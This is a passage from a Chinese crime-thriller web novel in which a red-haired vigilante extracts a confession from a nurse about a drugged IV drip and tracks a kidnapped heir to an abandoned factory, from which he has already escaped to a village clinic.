“喂?”她刻意压低声音,语调虔诚又小心。 电话那头是个女声:“护士长,真是对不住啊,这么晚了还打扰您。” “没事的。”护士长立刻回答,甚至有些急,“能为释行尊者出一份力,是我的福报。” 另一头沉默了几秒,似乎真的不好意思了:“啊,呵呵,呵呵呵……其实我也没啥大事,就是想跟您打听一下,那天咱们一块儿在至尊VIP病房门口,碰见的那个小护士,她今晚值不值班?我有个朋友犯了急性肠胃炎,想着找她打个针。” “好,我查一下。”护士长停顿了一会儿,然后问,“你呢?不过去看看吗?” 另一头又传来几声咳嗽,然后那声音才慢慢地回:“这个嘛,得看那小护士今晚的‘表现’如何了……” * 卢氏医院一楼处置室。 小护士的眼睛瞪得滚圆,脑子里全是最近收音机里反复播报的新闻:多名受害群众及周围目击者反映,曾在案发时段看到一个可疑的“红头发黑影”,因其行动诡秘迅速,且特征显著,在部分群众中引起了不安,私下称其为—— ——“红发,女鬼……” 小护士嘴唇哆嗦着,无声地吐出了这四个字。 眼前,那红发女鬼在经过医用操作台时停了下,顺手从上面拿起一卷没用过的绷带,看也没看就往前一抛。 “喂,张笑远,先搞搞你的手,这么流血我看得瘆得慌。”她说得是实话,她看那血流进小护士嘴里更觉得难受。 不知从什么时候起,她对这个张笑远,已经没什么男女方面的意思了,要不是因为他实在真诚,能力也不错,她绝不会跟这种无聊的木头疙瘩一块儿行动。 张笑远迅速抬起手,精准地接住飞来的绷带卷。同一瞬间,他侧身迈步,换另一只手,像铁钳般捂住了小护士快要惊叫出声的嘴。 整个过程快得只在一眨眼间。 南希再次感慨,他的能力确实不错。 那小护士被死死捂着,只能发出模糊的呜咽声。 张笑远没看她,他用牙咬住绷带的一个角,一使劲,利落地扯开,然后单手灵活地,在那只血淋淋的手掌上缠绕了一圈。 洁白的绷带瞬间被洇出的鲜血染红。 他便又用力缠了一圈,打了个结,这才算勉强止住了血。 自始至终,那小护士除了身体无法控制地剧烈颤抖外,一动也没敢动。 这时,南希已经走到她面前,单手叉腰站定了。 她微微眯起眼睛,审视着小护士毫无血色的脸,说:“嘿,吓成这副样子,看来你心里也清楚,我们为什么来找你喽。” 说完,她朝张笑远的方向偏了偏头,示意他松开手。 她今天特意扮上红发女鬼的造型,就是要借助自己的传闻,吓住这小护士,让她不敢声张,乖乖听话。 事实证明,这个计划效果显著。 那小护士恢复自由后,果真也没敢做出有多余的反抗。只见她深吸了一口气,虽然胸口起伏剧烈,却还是硬生生压住了尖叫的冲动。 她看着近在咫尺的红发女鬼,带着浓重的哭腔,断断续续地嚷起来:“我,我只是负责……让温少爷睡一会儿……其他的,其他的我什么都不知道啊!” 南希挑了下眉,她没料到对方这么干脆就认了,心想自己这副红发女鬼的样子真就这么可怕?这么能震慑人?她随即冷起脸,尽力让眼神显得更凶戾了点,压着声音问:“那谁指使你的,这总该知道吧?” 小护士嘴唇动了几下,眼神躲闪,最后还是选择了沉默。 就在这时,她身后的张笑远将那只刚包扎好、还渗着血的手伸了过来,在小护士眼前晃了晃。 绷带上的那片红色格外刺眼。 小护士先是一愣,然后立刻明白了这里面的警告意思,她赶紧哭唧唧地哀求:“别!千万别告诉我们领导……”她垂着眼眸,睫毛上挂着泪珠,咬了咬牙,像是下了决心,“是……是我表哥……” 南希与张笑远迅速交换了一个眼神,两人都有些懵。 谁?表哥?什么来路? 小护士知道自己只说到这个程度绝不可能过关,她绝望地闭上眼睛,不敢与他们对视,语速加快了几分:“我表哥……他在郑司令手底下,做事……” 郑司令。 这个名字让南希的眼神凝了一下。她最近两年才来济东,对这地方盘根错节的势力了解不深,但“郑司令”这个名号,她是听过的,而且在她的认知里,能被称作“司令”的,绝不会是小人物。 她旁边的张笑远反应更大,脸色直接沉了好几个色号。 郑司令那是温四爷手下的头号人物,如今在济东black势力里可以说是一人之下的存在。 他是土生土长的济东人,据说他爸妈就是混江湖的。他还穿开裆裤时,就敢拿棍子在巷子里追着比他大好几岁的孩子到处跑。后来他越混越厉害,拉起了自己的队伍。可他行事作风过于招摇,为人刚愎自用,又不肯找靠山,他那小帮派没成立多久就被人盯上了,一夜之间被人捅了老巢,要不是温四爷偶然路过,救了他,他早就死在乱刀之下了。为了报恩,他从此跟了温四爷,成了麾下的一员大将,并且与早年的李管事齐名。后来李管事受伤隐退,他就一人独大,直到现在。 这个小护士虽然没明说,但她的意思已经再清楚不过——是郑司令吩咐她表哥,让她在温雪生的点滴里做了手脚。 郑司令,竟然在内部搞小动作,绑架老大的亲儿子?这可不是一般的问题…… 但张笑远更在意的好像不是这点,他突然开口,声音里压着显而易见的怒火:“你作为医护人员,没有一点医德吗?救死扶伤的本分都忘了?就因为那个地头蛇,因为你表哥,你就去害人,你……” 他还没说完,小护士就“呜呜呜”地痛哭起来,比刚才更凶。 只见她一边用手背胡乱抹着汹涌的眼泪,一边哽咽着辩解:“我也没办法……我也不想的……可是我能怎么办?我一个乡下来的,我懂什么?是表哥把我弄进城里,是他托关系送我进了这家高级医院……要不是他,哪有现在的我……他说的话,我怎么能不听……” 南希看不下去,上前轻轻推了张笑远一把。 “行了行了,你对一个小姑娘凶个什么劲儿啊?” 她又转向小护士,伸手替她擦了擦脸上的泪痕,轻轻拍着她的后背安慰,“你放心,今天的事,我们不会说出去。这个人,”她指了指张笑远,“也不会去找你们领导告状。看你哭得这么伤心,这几天心里也不好受吧?一直在为这件事自责吧?” 小护士看了南希一眼,抽噎着,用力点了点头。 南希的语气更温和了:“如果可能的话,你能不能告诉我,那天晚上究竟发生了什么?那个被绑走的人,”她顿了顿,刻意在声音里加了一点恰到好处的担忧,“他以前也帮过我不少忙,我也想帮帮他。” 小护士毕竟年纪轻,没见过什么世面,先是被“红发女鬼”吓破了胆,这会儿又被她温言软语的安慰,心里那点愧疚、后悔、害怕、委屈一时间全涌了上来。 她干脆什么都不管了,一边啜泣,一边断断续续地讲起那天晚上她遇到的所有事。比如,她什么时候接到的表哥电话,怎么换的药,换了之后多久来的陌生人,那些人怎么带走的温少爷,穿着什么样的衣服…… 就在在她低着脑袋,沉浸在自己的叙述和情绪里时,南希悄悄从胳膊上的小兜里掏出了摩托罗拉,然后她把手背在身后,动作极小地,将摩托罗拉递给了张笑远。 张笑远默契地接过,身体侧转,利用小护士和南希的身形作为遮挡,手指在键盘上无声地按下了一串号码。 屏幕亮起,显示接通,然后便一直维持到小护士的故事结束才暗了下去。 这通秘密电话挂断不久后。 济东市最繁华的夜市街口,那位常年戴着墨镜,摆摊算命的老瞎子,破天荒地对着一位上前问卦的客人摆了摆手。他慢吞吞地收起铺在地上的八卦图,然后用手中的拐杖,在身前的泥地面上,画出了一个,由歪歪扭扭线条组成的,古怪难懂的命盘图。 一直蜷在他身边打盹的小乞丐,眼睛倏地睁开,瞥了一眼那幅图,随即像只灵活的野猫,一溜烟窜进了旁边的巷子。 他在里面七拐八绕,找到了第二个正蹲在墙角数石子的小乞丐,凑到对方耳边飞快地说了句什么,那小乞丐点了点头,立刻起身,又飞奔着找到了第三个正在垃圾堆里翻找食物的同伴。 接着是第四个,第五个,第六个…… 几乎就在同一时间,相隔十公里外,一辆摩托车疾驰驶过济东大学紧闭的校门。 而校园里,计算机学院大楼,一间漆黑的实验室,突然响起一阵细微的电流嗡鸣。紧接着,排列整齐的十几台电脑显示器,毫无预兆地,在同一个瞬间亮了起来。幽蓝色的光线驱散了局部的黑暗,映亮了空无一人的房间。屏幕上,无数行绿色代码开始自主地向上滚动。 大约十五分钟后。 张笑远别在腰带上的传呼机,“哔哔哔”地响了起来。长条形的屏幕上,清晰地显示出三个字: 找到了。 第45章 擦肩 济东郊区的夜空,像一块被洗得发灰的旧布,上面还缀着几点模糊的淡黄色油渍。 风掠过齐腰的杂草,发出持续不断的沙沙声。 杂草簇拥的废弃工厂前,一个人影正在提搂着裤子。他面前有一滩泛着光、冒着热气的液体。 这人个头不高,看起来也就十七八岁,但身上的痞气很重,一看就是个混社会的小流氓。 “喂,你去哪儿啊?里面那大少爷还醒着吗?”他的裤子已经提好,这会儿,一边系裤腰带,一边抬头冲着远处吆喝。 在他前方大概五十米左右的地方,还立着另一道人影。 月光清冷,洒在那人身上,勾勒出一个异常单薄的轮廓。 “诶,问你话呢,咋不吱声?”那小流氓没得到回应,有些不耐烦。 可对方仍然背着身,一动没动。 只有他的声音顺着风传了过去,还有点飘忽。 “嗯,他醒着呢,也不闹腾,放心好了,今晚咱能睡个好觉。” “哦,那就成。”小流氓啐了一口唾沫,“那个大少爷看起来不是那么好对付,眼神实在瘆得慌。唉,真他奶奶的,咱得罪了谁啊,给安排了这么个死活儿。”他骂骂咧咧地往回走,脚下踢到个空罐头瓶,哐当乱响,可他才刚走出三四步,就突然停住了。 不对劲。 他心里蓦地涌上这种感觉,便又迅速地回过头。 不远处,那个瘦高的同伴还站在那儿,没跟上来。 不,他站的地方,比刚才更远了些,他应该是朝工厂相反的方向,往更深的野草地里走了几步。 小流氓瞬间清醒了,睡意全无,目光一凛,语气陡地沉了下来:“喂!我说,你咋不回去睡觉?” 空气好像瞬时凝固了,只剩下风穿过草叶和废弃钢材的呜咽声。 十几秒后,对方的声音才又随着风传回来,语调十分不自然:“我睡不着,出去走走……” 小流氓嘴一撇,可脸上的疑色并没有消退:“唉,让你这么一说,我也有些睡不着了!得了,我陪你一块儿走走吧。”说着,他抬脚迈过一丛纠缠在一起的杂草,向对方逼近。 哪料,就在他的脚落地的瞬间,眼前那瘦高的身影像是被什么东西扎了一下,毫无预兆地跑了起来!对,不是走,是跑!向着厂区外无边的黑暗发疯似地狂跑! “妈的!”小流氓瞳孔缩进,忍不住骂了一声,“还真他奶奶的有鬼啊!” 他年轻力壮,反应也快,立刻像支离弦的箭一样,飞奔着追了过去。 而那个逃兵,体力明显处于严重透支的状态,奔跑的姿势踉跄,深一脚浅一脚,速度根本比不上身后追兵。 风声呼呼的,鼓荡着逃兵身上那件刚从别人身上扒下来,过于宽大的西装外套,让它看起来像一面绝望的帆。 月光下,两人之间的距离正急速缩短。 小流氓已经能闻到对方身上的霉味,他只要再加把劲,伸出手,身体向前一倾,就能够到那件鼓起来衣服了。 就在指尖即要触碰到衣服布料的刹那,突然,眼前的目标没有任何征兆地向前一栽,“噗通”一声扑倒在地。 小流氓收势不及,整个人跟着往前冲去。 电光火石间,他瞥见对方倒在地上的腿。然后,那腿像蝎子摆尾一样,猛地向后勾了一下! “哎哟!” 小流氓只觉得脚踝被什么东西狠狠绊住,身体瞬间失去平衡,带着巨大的惯性,重重地摔进泛着尘土的地上。 “他奶……”他还没来得及骂完,更没来得及翻身爬起,余光就捕捉到一块黑乎乎的东西。 那东西掀起一股恶风,冲着他的脸狠狠砸下! “砰!” 一声闷响。 不是很亮,但异常结实。 那小流氓的世界在这一击之后,彻底黑了,再无半点声息。 温雪生扔下手里的石头,双手撑地,再次剧烈地喘息起来,喉咙里发出的声音,跟破风箱一样难听。 刚才那一阵逃命几乎耗尽了他最后的力气,整个过程,他都在边跑边观察脚下,试图寻找能利用的东西。 他知道自己的力量不行,如果跟那小流氓发生正面冲突,绝对没有胜算,但只要手里能有个武器,再来个出其不意,或许还有一线生机,就像之前,他在密室里,用凳子腿放倒了那个身材比他魁梧得多的中年男人。 只是,用石头打人比用凳子腿更危险,不好掌控力道,他刚才下意识地减轻了些力气,但心里还是发虚。他看着地上没有动静的小流氓,强撑着挪过去,学着武打片里大侠的样子,伸出手指,探到小流氓的鼻孔下。 温热的气流拂过指尖。 还好,他活着。 温雪生松了口气,紧绷的神经稍微松弛,随之而来的是一阵更深的疲惫。可他不敢久留,只能挣扎着爬起来,慢慢往前走。 他得尽快离开这里,找到一个有电话的地方,不仅为了自己,也为了那个密室里的中年男人,还有地上这个年轻的,总不能一直让他们晕在这儿,得打个120才行。 这个念头支撑着他走了一会儿,渐渐的,他的身体已经到了极限,视线开始发花,耳朵里的风声越来越远,取而代之的是自己沉重如擂鼓的心跳和急促的呼吸。 紧接着,他的脚步也开始不听使唤,好似灌了铅,每一步都像踩在棉花上。 荒郊野外的土路坎坷不平,延伸向黑漆漆的远方。 就在这时,路的尽头,突然出现了两道明晃晃的光。 他认得这种光,笔直,像倾斜的柱子,是汽车的车头灯! 温雪生预感不好。在这个年代,就算在城里,汽车都是稀罕物,更何况是这种偏僻的荒郊野外? 而且那辆车的速度很快,引擎的声音由远及近,正毫不减速地朝他这边疾驰而来。 是刚才电话里的那个人吗?来得这么快?! 绝望瞬间淹没了他内心刚刚升起的,那点微末的希望。 他还没有见到她,难道真的就要到此为止了吗? “小生生!” “小生生。” “小生生……” 脑子里嗡嗡响,循环往复地冒出这几个字,有的温柔,有的焦急,有的带笑…… 都是她的声音…… 他突然感到眼角涌上一抹难以抑制的湿热,视线慢慢模糊了,连眼前那两道索命般明光也化成了混沌的一片。 然后,双腿软下,身体不由自主地向前倾去。 就在他要彻底瘫倒的刹那—— 嘀——!!! 一声几乎能撕裂耳膜的鸣笛,突然在他身后炸响! 他剧烈地一哆嗦,濒临涣散的意识,竟被这突如其来的响声硬生生拽回来一些。 身体晃了晃,最终没有倒下,勉强立在了原地。 “小伙子,你没事吧?” 什么? 他没怎么听清,这才意识到鼻子已经被一股浓烈的柴油味占满,耳边还充斥着“突突突”的发动机噪音。 “诶,吓着了?你没事吧?” 又是那个声音,这次大了点,但因为掺杂在发动机的声音里,还是不怎么明显。 “你没事吧!!??”声音又大了。 温雪生茫然地回过头。 一辆脏得看不出颜色的三蹦子,几乎紧贴着他,停在了身后。 那驾驶座上,坐着个戴军绿棉帽,脸庞黝黑干瘦的大爷。 大爷正瞪着眼睛瞅他,一脸好奇。 温雪生看得有些发懵,一时不知该作出什么反应,只有身体又开始不受控制地晃悠起来。 那大爷一看,急了,从三蹦子上直接跳了下来,一把扶住温雪生的胳膊,用土话连声说:“诶,诶,小伙子,你这是咋了?你可别倒啊!” 温雪生被大爷扶着,目光却越过了他瘦削的肩膀,死死盯住远处。 那辆汽车越来越近了,车灯的光柱已经能隐约勾勒出它方正的轮廓,是一辆越野车。 他猛地回过头,扫了眼面前的三蹦子,双手突然抓紧大爷扶着他的小臂,嘶哑地说道:“大爷,我有病,现在犯了病,快不行了……能,能带我去找个大夫看看吗?”说完,他不等大爷回答,咳嗽了两声,身体一软,整个人像断了线的木偶,直接瘫倒,全部的重量都压在了大爷身上。 大爷被他带得一个趔趄,赶紧用力撑住,声音都变了调:“诶呀,诶呀!这算啥事啊!别吓我啊,小伙子!你挺住,挺住啊!” 他手忙脚乱,半抱半拖地,把这个突然倒下的陌生人弄到了三蹦子后面的车斗里。 温雪生顺势蜷缩着躺了下来。车斗四周有半人高的金属围栏,里面还铺着些干草,恰好挡住了他的身体。 大爷喘着粗气,爬回驾驶座,用力拧动车把,发动机立马发出更响亮的“突突”声。 然后,那三蹦子剧烈地抖动了几下,颠颠簸簸地重新上了坑洼的土路,没开出多远,就碰着两道明亮的光柱。 那辆越野车,带着一种凌厉的气势,与这辆破旧、缓慢、噪音巨大的三蹦子擦身而过,没有停留,甚至没有一丝一毫的迟疑。 三蹦子继续“突突”着,驶向荒野的另一边。 温雪生躺在车斗里,微微抬起头,视线里,越野车的红色尾灯,直直地冲向了远处那片黑魆魆的废旧厂房。 几分钟后,越野车的轮胎碾过杂草,一个急刹,在厂房的大门口停下了。 四个车门几乎在同一时间被推开,接连跳下来四个人。 最先下来的,是一个女人。她跑得很急,夜风吹乱了她醒目的红发;月光映照出她通红的面颊。 那面颊上,复杂的情绪融合在一起,焦急,不安,紧张,却又混着种近乎燃烧的激动。 她的目光像探照灯一样,急切地扫过厂房破破烂烂的大门,和周围杂草丛生的荒地,然后张开嘴,几乎想立刻喊出来: “小生生!你在哪儿?!” 第46章 废弃厂房 但这句话,最终没有被喊出来。 据南希得到的情报,温雪生就被关在眼前的废厂房里,看守他的只有三个打手,其中两个还是新兵蛋子。 消息来源辗转了几手。 通过小护士提供的零碎信息,宫教授分析出绑匪的几种可能。白先生起了一卦,小乞丐根据卦象在济东市里摸了几圈。最后,孙红和孙紫两姐妹设了个套,从一个多舌的酒鬼嘴里撬出了这个地点。 链条清晰,不可能出错。 但南希总觉得哪里怪怪的,心里隐隐不安,因为这消息本身就透着不合理。 对方费尽心机,冒着极大的风险绑了温雪生,怎么可能只安排三个不顶用的货色看守?这怎么看都像是个精心摆放的诱饵,背后或许藏着连具体办事人都不知道的、更深层的算计。 越想越烦,南希强迫自己吸了口气,把心里那点焦躁硬压了下去。 不能急,但也不能轻易相信任何。 她放慢脚步,再次细细扫过厂房模糊的轮廓,堆叠的废弃材料,以及杂乱的荒草丛。 月光惨白,给一切蒙上了冷硬的色调。 周围有轻微的窸窣声,那是跟她一起来的同伴,“破晓”里身手最俏皮的三个:张笑远,孙红和孙紫。 张笑远打了个手势,三个人便像滴入沙地的水,悄无声息地散开,分头确认这片区域是否藏着别的眼睛。 看来他们也不放心,不过有他们在,南希心里倒踏实了些,她便把排除风险的活儿交了出去,然后转过身,继续向厂房的大门走去。 这时,厂房里面突然传来了一阵脚步声。 夜很静,她听得十分清楚。 嗒,嗒,嗒…… 那脚步拖着地,有点儿笨重。 不远处,月光从厂房破洞的窗户和屋顶漏下来,恰好照亮了一个胖乎乎的人影。 那人正在揉眼睛,动作很是迟缓。 他一边朝门口走,一边含糊地嘟囔:“三儿,你干啥呢?弄这么大动静?还让不让人睡了!” 三儿? 南希立马意识到,这小胖是在叫她。 她所处的位置靠近门边,隐在浓重的阴影里,她能看清小胖,小胖却看不清她,瞅对方模样,这小胖,八成就是情报里说的那两个新兵蛋子之一。 天赐良机。 南希没有任何犹豫,像一头蓄势已久的猎豹,猛地冲了过去,速度之快,竟带起了一阵风。 小胖揉眼睛的手僵在半空。 衬着月光,他看清了那个“三儿”的样子——一头舞动飘逸的红发,一张带着阴冷笑意的脸。 这,这他娘的不是三儿那个傻蛋啊! 这,这是鬼…… 他喉咙里蓄的惊叫刚提到一半,还没挤出声,一个凌厉的飞腿已经精准地击中他的下颌。 他哼都没哼一下,直挺挺地向后倒去,砸起一小片尘土。 下一秒,南希侧身闪到旁边一个长满铁锈的大集装箱后,背部紧紧贴着冰冷的箱壁,心跳有些快,但呼吸控制得很稳。 一个搞定。 还有两个。 她的大脑飞速运转,刚刚那小胖朝她走来时,还在喊“三儿”,说明他在找人,那个叫三儿的打手,大概率不在厂房里面。 事情琢磨明白了,她又立马像影子一样,沿着刚才潜入的路线溜出了厂房,恰好撞上正要进来的张笑远,便一把将他拽到阴影里,凑近他耳边说: “留意外面,可能有个叫‘三儿’的打手出去了。” 话刚说完,不远处的荒草丛里,孙红和孙紫急切地凑到了一块儿,两人交换了个眼神,然后一齐朝南希和张笑远这边快速招手。 两人明白有情况,猫着腰跑了过去。 到了地方,南希发现那儿的杂草被压塌了一片,一个青年四仰八叉地倒在那里,一动不动。 看穿着,是个小流氓。 他额头上有个明显的肿包,肿包上沾着土。 一旁的地上躺着块拳头大的石头,也带着点土。 南希蹲下身,用手指蹭了下这两个地方的土,然后开口:“他估计是被人用石头砸晕的。” 孙红拧着眉,脚尖轻轻拨弄了下那人的胳膊:“你就那么确定?我看他这倒地的姿势,怎么感觉像是他自己不小心被绊倒了,正好撞到了这块石头上呢?” 南希沉吟了一秒,视线扫过周围的杂草和地面隐约的绊脚痕迹:“那么,他就是被人故意绊倒,然后撞上石头的。” 说完,她心里那丝若有若无的不安陡然放大。 不能再等了,她必须马上找到温雪生。 然后,她没再理会地上的倒霉蛋,也没等张笑远他们回应,站起身,转头就又冲进了厂房。 厂房里面还算空旷,只有些蒙尘的旧机器和散落的零件。 南希从口袋掏出那副特制的夜视镜戴头上,视野瞬间变地清晰起来。 她快速且仔细地扫视着每一个角落,不放过任何可能被遮挡的细节。 很快,她的目光锁定了厂房深处,一条幽暗的走廊。 她小跑过去,拐进走廊。 走廊尽头,有一扇门虚掩着,里面透出一点微弱的灯光。 南希一惊,提腿直冲,一把推开那门。 眼前骤然明亮。 门后面的房间不大,只有一张破圆桌和一把歪倒的凳子。 地上躺着一个人,一个中年男人。 南希的心跳停了一拍,随即疯狂地鼓动起来,几乎要撞破胸腔。 这个人的衣服穿反了,而且紧紧勒在他身上! 而这身衣服,是卢氏医院的病号服! 南希几步便跨到那中年男人身边,伸手探了探他的颈动脉。 还活着,只是昏了。 接着,她粗暴地扯开男人的衣服,把这病号服翻正过来。 病号服胸口的位置,果然清晰地印着“卢氏”的标志。 她已经可以确定,这就是温雪生被绑时穿的那件。 可是,温雪生在哪儿? 两三分钟后,张笑远,孙红孙紫姐妹,循着南希的踪迹进了这个房间。 张笑远的视野里,一头红发的南希坐在房间角落的一个板凳上,那板凳的腿脚处沾着已经发黑的血迹,旁边还有个额头有血迹的、光着膀子的男人。 而南希低着头,看起来有些萎靡,她手里拿着一个黑色大哥大,手指紧紧攥着它,指节发青。 张笑远看了一眼地上的男人,又联想到外面那个被石头砸晕的小流氓,心里明白了七八分。他上前一步,开口问道:“温雪生逃了?” 南希抬起头。 夜视镜已经摘下,她的眼睛里没有找到线索的兴奋,反而透着一丝近乎绝望的混乱。 “如果他真逃得了,就好了……”她声音干涩地回。 张笑远皱眉:“什么意思?” “我了解他……”南希像在自言自语,“他很聪明,也有胆子,就算身体不好,如果看守他的,真的只有这仨已经倒了的货色,他绝对有能力自己从这里逃出去。可是,我很奇怪,”她举起手里的大哥大,“他要逃,为什么不带上这个?这是他能最快联系到外界的东西。” 她顿了顿,视线扫过在场的三人,眼神里竟有种难以言喻的沉重:“然后,我用它,拨了温沙城堡的电话。” 孙紫忍不住问:“打通了?” “打通了。”南希点头,“但是,接电话的是一个我从来没听过的声音。” 三人的脸色有了些许变化。 南希继续说,语速越来越急,好似在拼凑一个可怕的猜想:“你们有没有想过,温雪生被绑,这么大的事,为什么温四爷那儿,没表现出该有的着急?他根本就没发动所有力量,满世界,翻天覆地地找他啊!” 孙红插话:“这点我不赞同,我们今晚收到消息,在外面找人的时候,明明碰到了很多在四处打听温雪生消息的小流氓。” “好,”南希叹了口气,“那么我换一种问法。我们,凭我们这几个人,几条线,都能找到这里,他爹温四爷,势力那么大,耳目那么多,会找不到吗?” * 济东郊区,李家村。 村里黑漆漆的,只有一座土屋还亮着幽幽的黄光。 光线映照着屋子门口的木牌,上面用红漆画了个规整的十字。 红十字下停了一辆破旧的三蹦子。 屋里,温雪生躺在一张铺着棉絮的铁床上,脸色苍白,唇上没有血色。更扎眼的是,他裸露的胸膛、手臂和小腿上,扎满了细长的银针。 一个穿着白大卦,编着俩麻花辫的女孩,刚在他小腿上落下最后一根针。 她抬手用袖子抹了把额头上的汗,回头对坐在一边的黑瘦大爷说: “好了,李伯,您放心就成。” 李伯下意识地连声回:“啊,谢谢,谢谢……”说完才一愣,他放个啥心啊,这人又跟他没关系,他赶紧伸手指了指铁床上的人,好像在说“你别光跟我讲,你也问问他觉得怎么样了啊”。 女孩转过身,视线却不太好意思直接落在温雪生身上,她长这么大,还从没见过长得这么好看的男孩子,尽管他脸颊靠近鬓角的地方,隐隐有些不太正常的青色细纹,但这丝毫没影响到他的好看,反而添了点说不出的味道。 她垂下眼,盯着他胸口的一根银针,轻声问:“那个……你,你有没有好受些?” 温雪生的头微微抬了一下,睫毛颤了颤,睁开了眼。 他的眼神有些涣散,正在努力聚焦。 “谢谢。”他吐出两个字,然后想要起身,可是身体稍微一动,各个地方就传来了无数道细微的痛楚,让他忍不住低吟了一声“嘶——”。 女孩着急上前,伸出手想碰他,却又缩了回去,只是疾声提醒他:“小心啊……针灸的时候不能动的。” 温雪生的目光扫过自己满身的银针,抬起的头又无奈地落回了枕头,眉心锁得很紧:“多久能取下来?” 第47章 故事 “对啊,欢丫头,还得耗多久啊?”李伯搓着手问。 女孩转过头,脸上挤出一点安抚的笑:“很快的,你们放心,半个小时,半个小时就好。”她顿了顿,像是怕铁床上的人等不及,又赶紧补充道,“这针要是起早了,就没效果了,白扎了。” 李伯一听还要这么久,眉头拧成了疙瘩:“半个钟头?这……家里老婆子还等着我呢,天黑路不好走,我怎么也得先回去跟她说一声。”他像是找到了理由,不等女孩回应,抬脚就往门口溜,出门前又回过头,有些不好意思,“欢丫头,你也别忙太晚,要是完事了,赶紧让他走啊。” 门“吱呀”一声被拉开,又“哐当”一声被关上,带进一股冷风,吹得灯泡又晃了几下。 土屋里霎时死寂,只剩下挂钟“滴答、滴答”的声响,像在给谁读秒。 李伯一走,这欢丫头显得更不自在。她站着不是,坐下也不是,手脚都像是借来的,不知道该往哪里放。 病床上的男人自始至终一言不发,跟块石头似的,连呼吸都轻得几乎听不见,空气凝固得让人心慌。 欢丫头憋了好半天,脸都快憋红了,才从嗓子眼里挤出点声音:“你……你的脸怎么了?是……受伤了吗?” 温雪生似乎怔了一下,微微偏过头,露出被灯光阴影覆盖的侧脸轮廓。 “……脸?”他的声音很沉。 欢丫头见他搭话,连忙点头,伸出一根手指,怯生生地指了指自己鬓角往下的位置:“嗯,你脸上这些地方……感觉有些青色的细纹,不太明显,但仔细看能看出来。”她舔了舔有点干的嘴唇,鼓起勇气又问,“要我帮你看看吗?我……我跟我爷爷学过点皮毛。” 温雪生没吭声,他的视线从女孩身上移开,望向被煤烟熏得跟黑板似的天花板,那上面糊着层层叠叠、已经发黄脆化的旧报纸,字迹模糊不清。 而他眼神空洞,仿佛穿透了这屋顶,看到了别处。 大概一个月前,他的家庭医生,推了推自己厚重的眼镜,正儿八经地告诉他: “少爷,从我目前掌握的情况来看,既然您的这种特殊‘遭遇’,对您产生了如此积极的生理改变,那么,可能的话,希望您能定期跟那只鬼见面。” “理论上,持续、稳定的良性刺激,有助于身体机能维持在新的平衡点……” 温雪生无奈到有些想笑,这么荒唐的事,竟然都能让他说准,看来那些纹路的消退,果然与她有关……这才一个多星期没见,纹路就又开始长出来了…… “需要我……帮你看看吗?”欢丫头见他又不说话了,小心翼翼地又问了一遍,她觉得他好像没有反对的意思,便迟疑着伸出手,想要凑近些观察。 就在指尖即将触碰到他的前一刻,温雪生忽地一斜眼,目光锐利得像冰锥,刺得欢丫头的手僵在半空。 “不用了,我这是中了毒。” 欢丫头嗖地缩回手,一把捂住嘴,眼睛瞪得溜圆。 温雪生的嘴角极其轻微地扯了扯,像是在嘲笑这千篇一律的反应。 几乎每个人,每一个听说他中毒的人,表情都跟一个模子刻出来似的——惊愕、或许还有一丝不易察觉的担忧。他早就习惯,甚至是麻木……但是今晚,可能是这狭小土屋里过于安静,讲故事的氛围浓厚,也可能是那点“自己快死了”的、破罐子破摔的心态作祟,某种沉寂已久的东西竟破土而出,他忽然很想说点什么,把那段腐烂在心底的往事挖出来,晒一晒。 “怕了?”他问。 欢丫头点点头,然后又迅速地摇头。 温雪生不再看她,而是继续看向天花板。 “这个毒是我小时候中的,跟了我很多很多年了……”他的声音依旧低沉,却多了一丝飘忽,就像是在说别人的事,“在我更小的时候,我也像大部分人一样,有妈妈疼,有哥哥罩,有爸爸,唉,算了……他那个时候就忙得脚不沾地了。 “等我稍微长大些,他的工作也越做越厉害,越来越忙,回家的次数当然也越来越少,然后有一天,他工作上的死对头,买通了在我家干活的一个老伙计……平时看着很老实的一个人,没想到几沓钱就能让他出卖良心……然后,他趁我爸不在家的时候,把我和我妈,还有我哥,带到了一个特别可怕的地方。那里很冷,很黑,也没有吃的,我们被饿了好多天,唯一送过来的食物,还有毒。 “那时候,我不懂事,又饿疯了,就没听妈妈的话,偷偷吃了那东西……结果,可想而知,我差点被毒死,”温雪生顿了顿,“也害死了妈妈,还有哥哥。” “后来,爸爸终于找到了我,把我救了出去,却把他们,永远地留在了那儿……而我,虽然活了下来,却变成了一个体弱多病的废人,我的脸,也就变成了这副样子,不,更可怕,那时候,不仅脸,我全身上下都长满了丑陋的纹路。”温雪生动了动脖子,让灯光更清晰地照亮他鬓角下方那些若隐若现、如同蛛网般的藏青色细纹,“但是我不在乎这些,我只想知道我妈,和我哥具体是怎么没的。我就问爸爸,他们到底发了什么?可是他一个字都不说,甚至嫌我烦了,抡着棍子打我,打得我鼻子里、嘴里全是血……从那以后,我们家的人,就再也不能提我妈和我哥,就好像,他们从没存在过一样…… “对了,为了让他们彻底消失,我爸还让家里的妈妈伙计都叫我‘大少爷’。我抗议,他们就低着头重复说‘这是老爷吩咐的’。至于他们嘴里的这个老爷,他还是像以前那么忙,不对,应该是更忙了,忙得一年到头我都见不到他几次。而仅有的几次见面,他也不正眼看我,大概是因为我脸上这些东西碍了他的眼,影响他的心情,所以,他给我建了一个新房子,让我搬出原来的家,还找人看着我,不让我出门给他丢人…… “再后来,他又有了新的、好多好多女人,手下认得干儿子也个个精明能干,事业便也蒸蒸日上,当年的死对头早就被他踩在了脚下。这时候,他终于想起,还有我什么一个‘残次品’儿子了。于是,他开始各种嘘寒问暖,表演父爱如山,让全世界都认为他对我疼爱有加,他是个情深义重的好爸爸。可我心里清楚,他是因为现在的事业范围广了,需要有一个好的形象,那些对我的好都是做出来装样子呢。” 温雪生深深地吸了一口气,“再再后来……” 可是,这个“后来”刚开了个头,土屋那扇不算结实的木门,就被人从外面“嘭”的一声推开了。 凛冽的寒风瞬间灌满了整个屋子,吹得灯泡剧烈摇晃。 随风闯进来的,是两个人。 一老一少。 老的约莫六十多岁,裹着一件旧的军大衣,缩着脖子。年轻的三十左右,身材壮实,穿着蓝布棉袄,脸上带着些憨气,眼神却直勾勾的,有些凶悍。 欢丫头完全沉浸在温雪生残酷的往事里,这突如其来的动静把她吓得浑身一哆嗦,直接从凳子上弹了起来,等看清来人后,她才惊魂未定地拍了拍胸口,挤出一个比哭都难看的笑:“凯伯,大壮哥?这么晚过来,你们是……有什么地方不自在吗?” 那个叫凯伯的老头儿立刻“哎呦喂”地叫唤起来,伸手捂住脑袋,眉头紧皱,一脸苦相。旁边的大壮用力点头,指着他爹说:“俺,俺,俺爹,头……头痛!厉害!” 